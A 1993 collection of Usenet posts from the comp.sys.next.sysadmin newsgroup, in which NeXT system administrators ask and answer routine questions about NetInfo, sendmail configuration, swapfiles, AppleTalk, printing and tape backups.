Newsgroups: comp.sys.next.sysadmin From: dale@hecate.phy.queensu.ca (Dale Swanston) Subject: usernames in addresses pane; Message-ID: <C6y2JC.6En@knot.ccs.queensu.ca> Sender: news@knot.ccs.queensu.ca (Netnews control) Organization: Queen's University, Kingston Date: Thu, 13 May 1993 02:50:00 GMT Hi all, Just a quick question. Should all the usernames that are a part of the NetInfo domain show up in the Addresses (Users) panel of the Mail app? I've heard rumors of this but mine don't, so I'm wondering if it is true. If they should then should it include the users in just the local domain or in the entire reaches of root Netinfo domain? Brief system setup (initially set up by non-professional): a NeXTStation acts as the NetInfo server and a different machine (an old Cube) acts as the mail server (or at least it is supposed to be). Just two machines in root domain. Running 3.O. Any help would be greatly appreciated. If I need to elaborate on the setup then just yell. --- Dale Swanston Dept of Physics NeXTmail welcome. Queen's University Kingston, Ontario dale@hecate.phy.queensu.ca
Newsgroups: comp.sys.next.sysadmin From: Gregory W. Gee <gee@gaul.csd.uwo.ca> Subject: hooks for apps? Organization: Relayed-by-Sendmail Date: Thu, 13 May 1993 03:15:37 GMT Message-ID: <9305130315.AA29796@gaul.csd.uwo.ca> To: comp.sys.next.sysadmin@newshost.uwo.ca Sender: daemon@julian.uwo.ca (Julian System Daemon Account) I was wondering if there was something similar to LoginHook and LogoutHook for apps? Is this possible? Thanks. **************************************************************************** Greg Gee gee@gaul.csd.uwo.ca Honours Computer Science, ggee@hi_presure_lab.gp.uwo.ca University of Western Ontario NeXT Mail accepted >>> Developing in the NeXT generation <<< ****************************************************************************
From: george@unixg.ubc.ca (George Chow) Newsgroups: comp.sys.next.sysadmin Subject: Does NS3/3.1 install onto a 100Mb drive? Date: 13 May 1993 03:23:33 GMT Organization: University of British Columbia, Vancouver, B.C., Canada Distribution: world Message-ID: <1ssevlINNkqs@skeena.ucs.ubc.ca> Howdy, Seeing that 3.1 is arriving by the end of the month, I thought I would ask this question. I know that NS/FIP is spec in the info sheet as requiring at least 120Mb of drive space. What about 3.1 for NeXT equipment? What about a hybrid of a 100Mb HD and a CD-ROM drive? And what about NS3? Does that fit onto a 100Mb drive? Thanks. George
Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.sysadmin From: kent@infoserv.com Subject: CDR-36 (NEC) will it work with Black Hardware? Message-ID: <C6w4Hx.I3@infoserv.com> Sender: kent@infoserv.com (Kent L. Shephard) Organization: K. L. Shephard Consulting Distribution: na Date: Wed, 12 May 1993 01:37:08 GMT I guess the subject says it all. I know the drive isn't fast or compatible with the Kodak stuff but I need to know will it work with an '040 machine. I know where to get them for $249 new, in the box and I'd like to be able to upgrade my machine to 3.1. I used the Sun CD-ROM from work to upgrade to 3.0 but I won't be at the same company in 3 weeks. If anyone has had any luck getting a NEC CDR-36 to work on a NeXT please let me know. (email or posting is fine) Kent -- /* K.L. Shephard Consulting is my company. Infoserv only delivers my mail. */ /* Please direct mail to kent@infoserv.com other adresses may not work. */
Newsgroups: comp.sys.next.sysadmin From: sanguish@digifix.com (Scott Anguish) Subject: Compiling/Installing current C-News on the Next Message-ID: <1993May13.095704.9620@digifix.com> Sender: sanguish@digifix.com (Scott Anguish) Organization: Digital Fix Development Date: Thu, 13 May 1993 09:57:04 GMT Hi All.. Is there any gotchas trying to compile and install the current C-news for use on the Next? I want to replace my old, slow version (the inews script is just that, a script). I would imagine the header locations could be a problem, but anything else? I can't afford for my newsfeed to be down for more than 30 minutes or so, so I am a little concerned about jumping into things before asking... -- - Scott Anguish - sanguish@digifix.com (NextMail) next-announce@digifix.com (comp.sys.next.announce submissions)
Newsgroups: comp.sys.next.sysadmin From: danders@carn3 (Dave Anderson) Subject: Educational prices for 3.1 and NS486? Message-ID: <1993May13.122211.13009@alleg.edu> Sender: news@alleg.edu Organization: Allegheny College Date: Thu, 13 May 1993 12:22:11 GMT Has anyone seen any information on the educational pricing for 3.1 or NS486? Our local rep (Pittsburgh) claims that discussion is still going on about educational pricing but has also told us that no one in NeXT is really in charge of the higher education division! David Anderson, Director Educational Computing Services Allegheny College
Newsgroups: comp.sys.next.sysadmin From: ndawson@vx9000.weber.edu (Neil Dawson) Subject: Banner Pages Message-ID: <13MAY199307562135@vx9000.weber.edu> News-Software: VAX/VMS VNEWS 1.41 Sender: news@fcom.cc.utah.edu Organization: Weber State University Date: 13 May 1993 07:56 MST Hello, I work in a lab with ten NeXTStations networked. We have been trying to get banner pages to be printed with each print job but to no avail. Does anybody have any sugestions? Also why is it that root can not delete a print job in print manager? We found that you must be the user that sent the job and on the machine from which the job was sent. Thanks in advance for any help. Neil
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Re: Educational prices for 3.1 and NS486? Message-ID: <C6yyz5.B6x@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University References: <1993May13.122211.13009@alleg.edu> Date: Thu, 13 May 1993 14:30:40 GMT In article <1993May13.122211.13009@alleg.edu> danders@carn3 (Dave Anderson) writes: > > >Has anyone seen any information on the educational pricing for 3.1 or >NS486? Our local rep (Pittsburgh) claims that discussion is still going >on about educational pricing but has also told us that no one in NeXT is >really in charge of the higher education division! I've been told by our rep that the jury is still out. There is still some one in charge of higher ed, from my impression. -rob --- francisr@indiana.edu
Newsgroups: comp.sys.next.sysadmin From: obrooks@dale.ksc.nasa.gov(Oscar Brooks) Subject: Sendmail.cf Message-ID: <1993May13.152059.7604@dale.ksc.nasa.gov> Keywords: Mail, Sendmail Sender: news@dale.ksc.nasa.gov Organization: NASA Date: Thu, 13 May 1993 15:20:59 GMT -- We have a large installation of non-NeXT computers running Yellow-Pages and using one Ultirx Vax as the mailer relay. My NeXT (running 3.0) is not invloved with the Yellow Pages in any way but does use the central Ultrix mailer. The mailer works fine locally but once we send e-mail to the internet world the "From:" line is not fully qualified. It looks like "obrooks@worf" and it should look like "obrooks@worf.hssc.ksc.nasa.gov". If you type the "hostname" command it returns "worf". Our hosts file have entries like : 999.999.999.999 worf worf.hssc.ksc.nasa.gov. My question is there any easy way in my sendmail.cf to include the domain in the "From:" line so people can reply to me? Please send your reply to "obrooks@dale.ksc.nasa.gov". I am including a piece of my sendmail.cf so you can see what I am talking about: *****STARTS HERE!!******************************************************** # my official hostname Dj$?m$w.$m$|$w$. # major relay mailer DMether # major relay host DRcore1.hssc.ksc.nasa.gov CRcore1.hssc.ksc.nasa.gov ############################################################ ##### ##### General configuration information ##### # local domain name # # This is now set from the resolver configuration call. If the domain # name you would like to have appear in your mail headers is different # from your Internet domain name, edit and uncomment the following to # be your mail domain name. # DmPodunk.EDU Dmhssc.ksc.nasa.gov #Dwworf.hssc.ksc.nasa.gov # Version number of configuration file DVNeXT-2.0 ### Standard macros # name used for error messages DnMailer-Agent # UNIX header format DlFrom $g $d # delimiter (operator) characters Do.:%@!^=/[]- # format of a total name Dq$g$?x ($x)$. # SMTP login message De$j Sendmail $v/$V ready at $b *****ENDS HERE!!********************************************************** Thanks! O ------------------------------------------------ Oscar Brooks Mail Code: DL-DSD-24 Kennedy Space Center, Fla. 32899 Internet: obrooks@dale.ksc.nasa.gov
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Trying to make acct'ing return useful info Message-ID: <C6z25J.Gy7@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University Date: Thu, 13 May 1993 15:39:18 GMT After turning on accounting, I get a results that aren't very representative of what actually went on. For example, I have some machines that are pretty much used for Mathematica and Maple. But when I do an sa, I see mention of either. As a matter of fact, few apps show up. Workspace, Remotes and Terminal are usually the only ones. There is one 'process' that shows up "***other". It usually has a high number of launch times, so I'm assuming it is basically all those apps that aren't being registered. Seems to be no way to figure how many of those are Mathematica or Maple or if they are VOID. Anyone else run into this? -rob --- francisr@indiana.edu
Newsgroups: comp.sys.next.sysadmin From: ndawson@vx9000.weber.edu (Neil Dawson) Subject: RE: Banner Pages Message-ID: <13MAY199309385633@vx9000.weber.edu> News-Software: VAX/VMS VNEWS 1.41 Sender: news@fcom.cc.utah.edu Organization: Weber State University Date: 13 May 1993 09:38 MST Hi again, Sorry for the duplicate posting about banner pages. Just as I sent the first one the system went soen and I didn't think it got sent. But I still need your help about banner pages. Thanks/Sorry Neil
Newsgroups: comp.sys.next.sysadmin From: me@next45.wsi.physik.tu-muenchen.de(Matthias Rosenberger) Subject: restarting Appletalk without reboot? Message-ID: <1993May13.165038.25227@news.lrz-muenchen.de> Sender: news@news.lrz-muenchen.de (Mr. News) Organization: Leibniz-Rechenzentrum, Muenchen (Germany) Date: Thu, 13 May 1993 16:50:38 GMT I use Appletalk for printing on an Apple printer. Frequently, the atalkd - daemon is hanging up with high cpu load. If I don't want to reboot my station, I have to kill the daemon, but then Appletalk isn't working anymore, even if I restart the atalk process. I already tried to unload the atalkks kernel with ks_util, but then the kernel_loader hangs up. So, I'd like to know how I can restart the Appletalk processes without rebooting. Thanks for all help in advance! Matthias Rosenberger me@next45.wsi.physik.tu-muenchen.de art the atalk process. I already tried to unload the atalkks kernel with ks_util, but then the kernel_loader hangs up. So, I'd like to
Newsgroups: comp.sys.next.sysadmin From: M_Carling@BlueRose.com (M Carling) Subject: Re: filesystem full; can't reboot Message-ID: <1993May13.000547.711@bluerose.com> Sender: m@bluerose.com Organization: Blue Rose Systems, Inc. References: <1srd92$5ga@morrow.stanford.edu> Distribution: na Date: Thu, 13 May 1993 00:05:47 GMT In article <1srd92$5ga@morrow.stanford.edu> minch@lotka.stanford.edu writes: > Somehow the 105MB internal on our station has gotten full, even > though it has only a minimal number of system files and all user > work is restricted to an external hanging off a remote server. > Now reboots seem impossible, even in single user mode. I don't > know what file[s] have used up all the space (there should be > ~40MB free) and know no way to find out. The station responds to > pings across the net but no telnet and NFS access is of course > impossible. > Anyone know of a way around this besides reinstalling 3.0? Boot from a floppy disk. M Carling President, Bay Area NeXT Group
Newsgroups: comp.sys.next.sysadmin From: crath@bnr.ca (Christopher Rath) Subject: BSD SysAdmin Manual Message-ID: <CRATH.93May13112847@bcarh20d.bnr.ca> Sender: usenet@bcars6a8.bnr.ca (Use Net) Organization: Bell Northern Research, Ottawa, Canada Distribution: comp Date: Thu, 13 May 1993 16:28:47 GMT The NeXT FAQ writes: > [...lots of stuff deleted...] > > BSD unix documentation (MISC, PS1, PS2, SMM, USD). Available from to > USENIX site members. A lot of this has been integrated into the NeXT > documentation. Some of this is sorely missing. The SMM Unix System > Manager's Manual is really useful! > > USENIX Association > 2560 Ninth Street, Suite 215 > Berkeley, CA 94710 > USA > +1 510 528 8649 > fax +1 510 548 5738 > office@usenix.org > > PS1 = Programmer's Supplementary Documents, Volume 1 > PS2 = Programmer's Supplementary Documents, Volume 2 > SMM = System Manager's Manual > USD = User's Supplementary Documents I bought this set. However, USENIX was/is sold out of the System Manager's Manual (SMM). > [Carl Edman <cedman@capitalist.princeton.edu>] adds: > > The SMM and the rest of the berkeley documentation are also available > directly and for free via anon ftp e.g. from > > ftp.uu.net /packages/bsd-sources/share/doc. > > To format them properly for viewing and printing on the NeXT use nroff > with the package indicated by the file suffix (e.g. to format the > documentation file 0.t use 'nroff -mt 0.t'). Has anyone formatted the SMM? If so, could they send me the postscript files? Or, tell me where I can ftp a postscript version of the SMM? Thanks, Christopher -- Christopher Rath | crath@bnr.ca BNR Lab 5 | Ottawa, ON, Canada | "Hydrogen is a colourless, odourless gas which, given (613) 765-3141 | enough time, turns into people." -- Henry Hiebert
Newsgroups: comp.sys.next.sysadmin From: me@next45.wsi.physik.tu-muenchen.de(Matthias Rosenberger) Subject: Re: restarting Appletalk without reboot? Message-ID: <1993May13.173839.25993@news.lrz-muenchen.de> Sender: news@news.lrz-muenchen.de (Mr. News) Organization: Leibniz-Rechenzentrum, Muenchen (Germany) References: <1993May13.165038.25227@news.lrz-muenchen.de> Date: Thu, 13 May 1993 17:38:39 GMT Sorry, a correction to my first posting: I tried 'kl_util', not 'ks_util'. By the way, what's wrong with my NewsGrazer that it's copying some text lines to the bottom oft the page? M atthias Rosenberger me@next45.wsi.physik.tu-muenchen.de wsGrazer that it's copying some text lines to the bottom oft the page? M-muenchen.de art the atalk process. I already tried to unload the atalkks kernel with ks_util, but then the kernel_loader hangs up. So, I'd like to
Newsgroups: comp.sys.next.sysadmin From: scott@geom.umn.edu (Scott S. Bertilson) Subject: Re: netinfo across routers ?? Message-ID: <C6z90H.En2@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: Geometry Center, University of Minnesota References: <1sk9nl$cro@ni.umd.edu> <1993May10.124250.15159@xexos.com> <1sr0sm$qad@ni.umd.edu> Distribution: na Date: Thu, 13 May 1993 18:06:38 GMT In article <1sr0sm$qad@ni.umd.edu> louie@sayshell.umd.edu (Louis A. Mamakos) writes: >someone is going to suggest that Netinfo shouldn't handle a 100 >machines spread over two servers, then I'll soundly flame them, >because we run *thousands* of machines off of 4 DNS servers with no I can't resist commenting that I think there is a tremendous difference between the throughput of DNS and Netinfo servers. Netinfo does whack the disk fiercely whereas DNS ("named" anyway) keeps the information memory resident with rare disk accesses. Just updating a 20 line "fstab" under Netinfo means 10-20 seconds of sustained disk thrashing. (They must be using "FSYNC" or something to force synchronous writes when updating.) Scott --
Newsgroups: comp.sys.next.sysadmin From: scott@geom.umn.edu (Scott S. Bertilson) Subject: Re: ?: NS and disk drives > 2.0GB Message-ID: <C6z9KE.F4J@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: Geometry Center, University of Minnesota References: <1srnsc$e02@gaia.ucs.orst.edu> Date: Thu, 13 May 1993 18:18:35 GMT Heh, yah, we ran into the same problem several months ago when we installed a pair of 3.5 gig drives on an NFS server: work0-fs:/work0 -1384461-1578389 193928 93% /work0 work1-fs:/work1 -1384461 1581714 1228129 56% /work1 No problems on our 30 NeXTs thus far...either under 2.X or 3.0. --
From: minch@lotka.stanford.edu Newsgroups: comp.sys.next.sysadmin Subject: Re: filesystem full; can't reboot: Fixed & thanks all Date: 13 May 1993 18:07:08 GMT Organization: Stanford University Distribution: na Message-ID: <1su2oc$rn1@morrow.stanford.edu> References: <1993May13.000547.711@bluerose.com> Got lots of advice, mostly helpful, and it's now fixed. Special thanks to all those who not only understood the problem ("Your swapfile got too big") and the solution ("Boot off an alternate source"), but told me where to find BootFloppy (I couldn't find it at Purdue but it was in one of Oregon's bin directories). I was even Nextmailed a copy! I'm keeping it handy from now on. I just hope my old cube with the busted OD drive never has the same problem.... -- Eric Minch
Newsgroups: comp.sys.next.sysadmin From: karthy@dannug.dk (Karsten Thygesen) Subject: Re: filesystem full; can't reboot In-Reply-To: minch@lotka.stanford.edu's message of 12 May 1993 17:48:18 GMT Message-ID: <KARTHY.93May13191807@dannug.dannug.dk> Sender: news@dannug.dk (Usenet news owner) Organization: Dannug - Danish NeXT Users Group References: <1srd92$5ga@morrow.stanford.edu> Date: Thu, 13 May 1993 18:18:07 GMT >>>>> On 12 May 1993 17:48:18 GMT, minch@lotka.stanford.edu said: minch> NNTP-Posting-Host: lotka.stanford.edu minch> Somehow the 105MB internal on our station has gotten full, even minch> though it has only a minimal number of system files and all user minch> work is restricted to an external hanging off a remote server. minch> Now reboots seem impossible, even in single user mode. I don't minch> know what file[s] have used up all the space (there should be minch> ~40MB free) and know no way to find out. The station responds to minch> pings across the net but no telnet and NFS access is of course minch> impossible. minch> Anyone know of a way around this besides reinstalling 3.0? We have tried the same several times now on a slab at the university. The problem in our case it the swapfile which grows beyond bounds. The only way I could get the machine up again was to boot in single user mode from a CD and the simple remove the swapfile and clear /tmp/ You can either put a hiwatermark in /etc/swaptab or make a little hack in /etc/rc.boot which truncates the swapfile (I did both). Good luck, Karsten.
Newsgroups: comp.sys.next.sysadmin From: woo@ornl.gov (John W. Wooten) Subject: Mail.app can't read new mail? Message-ID: <1993May13.183737.15228@ornl.gov> Sender: usenet@ornl.gov (News poster) Organization: Oak Ridge National Laboratory Date: Thu, 13 May 1993 18:37:37 GMT I recently moved my user files to another drive and put a link to my new user area back on the old drive where my account was. Thus Was /Users/woo/directories Is now /Users/woo->/NewDrive/Users/woo and /NewDrive/Users/woo has all directories as /NewDrive/Users/woo/directories (This may not be related to the problem, but I did change things around like this about the time...) Now mail arrives and I can read it with the unix command mail, but the Mail.app doesn't show any new mail. I've checked my Mail.app preference, but they still point to /usr/spool/mail, which is where the mail still goes. Any ideas about why Mail.app doesn't show any new mail? - - - - - - - - - J. W. Wooten
Newsgroups: comp.sys.next.sysadmin,comp.unix.questions From: gerben@rna.indiv.nluug.nl Subject: How can I make my terminal port to accept just one connection? Message-ID: <1993May13.194559.12167@rna.indiv.nluug.nl> Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda) Organization: G.R.O.S.S. Date: Thu, 13 May 1993 19:45:59 GMT Since I don't get comp.unix.questions here, please answer by email. Here is my problem. I'd like to let a program (script) turn on a getty on a port. After that getty has spawned a login (or a period of more than 15 minutes has passed) I want the port to be free from a getty again. This is what i tried. I have a script called "setty". It looks like this: =================================== #!/bin/sh case $2 in off) /usr/local/bin/perl -p -i -e "s/^$1/#$1/;" /etc/ttys kill -1 1 ;; on) /usr/local/bin/perl -p -i -e "s/^#$1/$1/;" /etc/ttys kill -1 1 ;; esac ==================================== This, effectively turns the port on/off and it works. But I want that the resulting getty (after it has spawned a login and this login has spawned a shell and the shell exits) not to be restarted. So I made a second script that should run instead of /usr/etc/getty. It is called "resetgetty" and it looks like this: ===================================== #!/bin/sh trap "" 15 /usr/local/bin/setty $2 off exec /usr/etc/getty $* ===================================== The line in /etc/ttys reads: ===================================== #ttyb "/usr/local/bin/resetgetty std.4800" vt100-p on secure ===================================== (ttyb is a vt100 terminal. I want to run this on my modem port, but ttyb is just used for trial.) The trap is to prevent the following call to the setty script (which in its turn calls kill -1 1) to kill this invocation of resetgetty. But this does not work. First, the trap does not prevent for some reason that there is no /usr/etc/getty on the port after I have run "setty ttyb on". If I comment the setty command in the resetgetty script there *is* a getty, but for some reason it does not work properly. There is at least some baudrate problem. It is on the line, it is called with the right arguments (argv[0] looks different in ps, but if that has something to do with it...?) (If you wonder why I want this: I have an answering machine that runs in software on my NeXT on the same telephone line and that answers after 3 rings. Normally I just want the answering machine to run, but if I call it and enter a code I want it to tell the modem to accept calls on the line after one ring. After a login has taken place I want the answering machine to be the one that answers the line again, therfore this automated one-getty construction). Thanks for any hints, -- Gerben Wierda [NeRD:7539] Tel. (+31) 35 833539 "If you don't know where you are going, any road will take you there." From the Talmud(?), rephrased in Lewis Carroll, "Alice in Wonderland".
Newsgroups: comp.sys.next.sysadmin From: draphsor@deathstar.stanford.edu (Matt Rollefson) Subject: Re: swapfile on extrernal (non-boot) disc Message-ID: <1993May13.203723.17721@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: Residential Computing, Stanford University References: <3818@symbas.uucp> Date: Thu, 13 May 93 20:37:23 GMT In comp.sys.next.sysadmin hans@symlab.UUCP () writes: >On some of our installations we'd like to have the system swap file >( for virtual memory ) located on one of the external ( non boot ) >SCSI disks, but this seems a lot easier said than done. There's a NextAnswer for this; here are some portions that may help. The NextAnswer is os.355. Q: Does anyone have any experience setting up an alternative swap device? I'm booting off the Ethernet and want to swap to a 330. Do I just label my 330 as swapdisk? A: Following is the answer, and lots of background. The quick answer, though: yes, call it swapdisk and things (mostly) work, with only a little more to do, like modifying swaptab(5) and fstab(5). ... Now we have the possibility of the swapdisk, which we want to use automatically. So, another rc script was written: rc.swap handles the determination of whether there's a swapdisk present, and, if so, turning on paging to it. To do this, rc.swap looks in /etc/fstab, trying to find a file system called /private/swapdisk which should be mounted. (NOTE: this information is NOT obtained from NetInfo!) If it finds one, it looks at the device's label, to see if the device is called swapdisk. If not, it ignores the disk; if so, it continues on to enable paging on that disk. (See the checkswap(8) command for yet more details.) Specifically, to enable paging, rc.swap first mounts the file system. Then, it ensures that the file /private/swapdisk/vm/swapfile exists, and invokes mach_swapon to turn on paging P turning it on explicitly to this file, and not consulting swaptab. In addition, rc.swap ensure that /tmp references a directory on the swapdisk. None of this changes what rc itself does, though. It still invokes mach_swapon, just like in the Goode Olde Dayes. This will enable paging to two files (based on the standard configuration of swaptab): /private/swapdisk/vm/swapfile /private/vm/swapfile This might seem like A Good Thing, but it isn't. Last we knew, there was a (minor?) bug which prevented using multiple swapfiles successfully. (The bug is that if a mapped file spans swapfile boundaries, not-completely-predictable things can happen. To tickle the bug, though, the primary swapfile must fill up first.) Should be benign, really. So, back to the original question! Here it is again: Q: Does anyone have any experience setting up an alternative swap device? I'm booting of the Ethernet and want to swap to a 330. Do I just label my 330 as swapdisk? Yes, label the 330 as swapdisk, and all should be fine. Note that everything after the first eight characters in the disk name is ignored, so swapdisk1 or swapdiskFuBar is supposed to work, too. But, please please please don't then boot off the 330 after having used it for a swapdisk: /tmp will be screwed up. Remember that rc.swap puts points /tmp to the swapdisk? Well, you end up with /tmp referencing (eventually) /private/swapdisk/tmp (We say *eventually: because there are multiple levels of symbolic links). So at best, a bit of mucking around, perhaps in rc, will be needed to set things back to rights. If you're always going to boot off the network, then 7 rename your disk to be swapdisk; 7 be sure that /private/swapdisk is referenced in the client partition's fstab; 7 to be safe, be sure that /private/vm/swapfile is not referenced in the client partition's swaptab. A reasonable fstab entry for this would be /dev/sd0a /private/swapdisk 4.3 rw,noquota,noauto 0 1 And, if booting off both the network and the 330 is desired, add stuff to ensure that /tmp is always a valid reference (perhaps adding this to rc.swap would be reasonable: if no swapdisk is present, ensure that /tmp references /private/tmp, and that /private/tmp is a real directory, not a link to, for example, /private/swapdisk/tmp). Incidentally, one CAN use a swapdisk in conjunction with booting off a SCSI. Just connect up an outboard disk, name it swapdisk, ensure there's a file system on it, and put the device in fstab, using a line like that above but specifying /dev/sd1a instead of /dev/sd0a, for example. ------- Hope this helps. Sorry it's so long. -- Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu Residential Computing, Stanford University NeXTmail accepted
Newsgroups: comp.sys.next.sysadmin From: draphsor@deathstar.stanford.edu (Matt Rollefson) Subject: Re: npd dying Message-ID: <1993May13.204252.18221@leland.Stanford.EDU> Keywords: npd Sender: news@leland.Stanford.EDU (Mr News) Organization: Residential Computing, Stanford University References: <1sn3s4$355@terminator.rs.itd.umich.edu> Date: Thu, 13 May 93 20:42:52 GMT In comp.sys.next.sysadmin reb@aa.ans.net (R. Eric Bennett) writes: >I've got a NeXT Cube running 2.0 in my office, serving primarily as a >print server. However, it occasionally just stops printing. [deleted] >What am I doing wrong? >Why does npd keep dying (without syslogging nonetheless)? Nothing. It's buggy. >Is there a permanent fix? Upgrade to 3.0. It's much more robust. The postscript interpreter is also a lot better. -- Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu Residential Computing, Stanford University NeXTmail accepted
From: sawtelle@mariposa.stonecutter.com (Don Sawtelle) Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.software Subject: apparently one must register by May 14th to rcv SW -at- expo [was Re: May Update: NeXTWORLD Expo Info Bulletin (Special Offers and Full Agenda)] Date: Thu, 13 May 93 14:38:30 PDT Organization: Stonecutter Software Message-ID: <01050131.1g3f67@mariposa.stonecutter.com> Distribution: world In article <1s4c31$859@rosie.next.com> (comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.software), Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups) writes: > -OR- Call Toll-Free: 800/767-2336 (US only: 8:30a.m.- 6:00p.m. EST) A person at this number said, INCORRECTLY, that there is a cut-off date of tomorrow (May 14th) for the $995 deal, and if you don't make full payment by that time you have to register on-site at $1095 to get the deal that includes NEXTSTEP 486. My subsequent conversation with this person was not totally clear so I called 800-848-NEXT and talked to Lisa, who didn't know whether the cutoff existed, but referred me to 415-366-0900; a person at this number referred me to expo information at 800-767-2336. The person at this last number (800-767-2336) said that you can register anytime before the conference for $995 and get the software, but if you don't register by tomorrow (May 14th) the software may not be there for you at the conference (I assume it would be backordered and shipped later). So apparently a cutoff does exist, but it is one involving the guarantee of a software package actually being available for you at the Expo, not a question of $995 .vs. $1095. --- Don Sawtelle:Stonecutter Software:Mariposa, CA sawtelle@stonecutter.com
From: brian@systemix.com (Brian Cuthie) Newsgroups: comp.sys.next.sysadmin Subject: Re: dump : write error Date: 13 May 1993 18:34:46 -0400 Organization: Systemix Software, Inc. Distribution: world Message-ID: <1suie6INNcm1@systemix.com> References: <3819@symbas.UUCP> In article <3819@symbas.UUCP> hans@symlab.UUCP () writes: > >I've tried to dump 1 GB of data onto a HP35460 tape drive (/dev/rst0) >using a 197 ft dat tape, and the following message is issued in the >middle of the backup: > > DUMP: Tape write error 24909 feet into tape 1 > >My question is n o t how thats possible on a 197' tape :-) >(the man page operates with size equivalents ( 1600 bpi > reel-to-reel tape)), rather how many "feet" equivalents are my 197' >tape ? >In other words : Which value should I give the s key in the dump program ? > > Assuming that dump is figuring the tape at 1600 bpi, it should be something like: 1.2 GB tape capacity (assuming 60 meter tape, no compression) 1.2GB / 1600 = 750,000 (equivalent tape inches) 750,000 / 12 = 62,500 (equivalent tape feet) ~62,000 feet of 1600 bpi tape This assumes that dump doesn't factor inter-record gaps and such into it's idea of tape size. Of course, if you had SafetyNet you wouldn't have this problem :-) Briam -- Brian Cuthie Voice: (410) 290-8813 Systemix Software, Inc. Email: brian@systemix.com
Newsgroups: comp.sys.next.sysadmin From: darrell@atlantic (Darrell Duffy) Subject: NeXT <-> Macintosh Appletalk connectivity?? Message-ID: <C6zMI4.5o@oceania.com> Sender: darrell@oceania.com (Darrell Duffy) Organization: Oceania Health Care Systems Date: Thu, 13 May 1993 22:58:49 GMT I'm having problems establishing connections between a Macintosh and a NeXT machine for file sharing using Appletalk. NeXT V3.0 with Appletalk package installed and running. Mac Powerbook Duo 230, V7.1 on local talk. Daystar pathfinder Ethertalk / Localtalk router. Appletalk on the NeXT machine sees the duo, but only connects as Guest. I've enabled a user on the duo as the same name as the unix login on the NeXT. Guest on the duo has rights to see all the files and folders. I've checked the Netinfo stuff and it's all set correctly according to the NeXT documentation. Problems: Duo does not see the NeXT machine. I'm not sure from documentation whether it should be able to or not. Can NeXT act as a server? The NeXT machine does not see the files or folders on the DUO. A directory appears in the localTalk folder under /Net/Appleshare, but it's empty. Disconnect does not work from preferences. It complains that some file is open. Eventhough I close all folders in the workspace. Logging out, or even a reboot does not cause or allow the NeXT machine to connect with my username rather than Guest. Can someone forward any insights to these problems? Please reply by Email. Thanks much, djd -- Darrell Duffy -- darrell@oceania.com Oceania Healthcare Systems, 415 322 0127 325 Lytton Ave., Suite 400 Palo Alto, CA 94301-1431
From: daugher@cs.tamu.edu(Walter C. Daugherity) Newsgroups: comp.sys.next.sysadmin Subject: spurious DMA interrupts Date: 14 May 1993 01:11:07 GMT Organization: Texas A&M University, College Station, TX Distribution: world Message-ID: <1surjb$p91@tamsun.tamu.edu> Keywords: DMA problems 4 times on 2 NeXTs in the last 10 days we have had system panics which loop saying, among other things, "spurious DMA interrupt state 0x1000000 channel 0x2000110." These systems were previously extremely reliable. My suspicion is power glitches (but we have a monstrous Liebert power conditioner!) or extremely heavy ethernet traffic (but that SHOULDN'T crash the system, should it?). Any clues? E-mail appreciated. Thanks! P.S. Both are NeXTcubes running 3.0. One is an '030, one is an '040. -- Walter C. Daugherity Internet, NeXTmail: daugher@cs.tamu.edu Texas A & M University uucp: uunet!cs.tamu.edu!daugher College Station, TX 77843-3112 BITNET: DAUGHER@TAMVENUS ---Not an official document of Texas A&M---
From: jimc@tau-ceti.isc-br.com (Jim Cathey) Newsgroups: comp.sys.next.sysadmin Subject: Re: swapfile on extrernal (non-boot) disc Message-ID: <3497@tau-ceti.isc-br.com> Date: 14 May 93 01:50:43 GMT References: <3818@symbas.uucp> <1993May13.203723.17721@leland.Stanford.EDU> Organization: Olivetti North America, Spokane, WA In article <1993May13.203723.17721@leland.Stanford.EDU> draphsor@deathstar.stanford.edu writes: >Q: Does anyone have any experience setting up an alternative swap >device? I'm booting of the Ethernet and want to swap to a 330. Do I >just label my 330 as swapdisk? > >Yes, label the 330 as swapdisk, and all should be fine. Note that... All good information, but with one other caveat (you can tell who got bit by this). Make sure that the proposed swapdisk is below any disk volume that's not mounted. That is, if you have a CD-ROM, make sure it's got a higher SCSI ID or the rc.swap script will stop looking for swapdisks as soon as it hits it, if there is no disk in the drive. I changed my script, as it was easier than opening the boxes. The script starts with /dev/sd0a and works its way up looking at labels, and it stops on the first failure. -- +----------------+ ! II CCCCCC ! Jim Cathey ! II SSSSCC ! ISC-Bunker Ramo ! II CC ! TAF-C8; Spokane, WA 99220 ! IISSSS CC ! UUCP: uunet!isc-br!jimc (jimc@isc-br.isc-br.com) ! II CCCCCC ! (509) 927-5757 +----------------+ One Design to rule them all; one Design to find them. One Design to bring them all and in the darkness bind them. In the land of Mediocrity where the PC's lie.
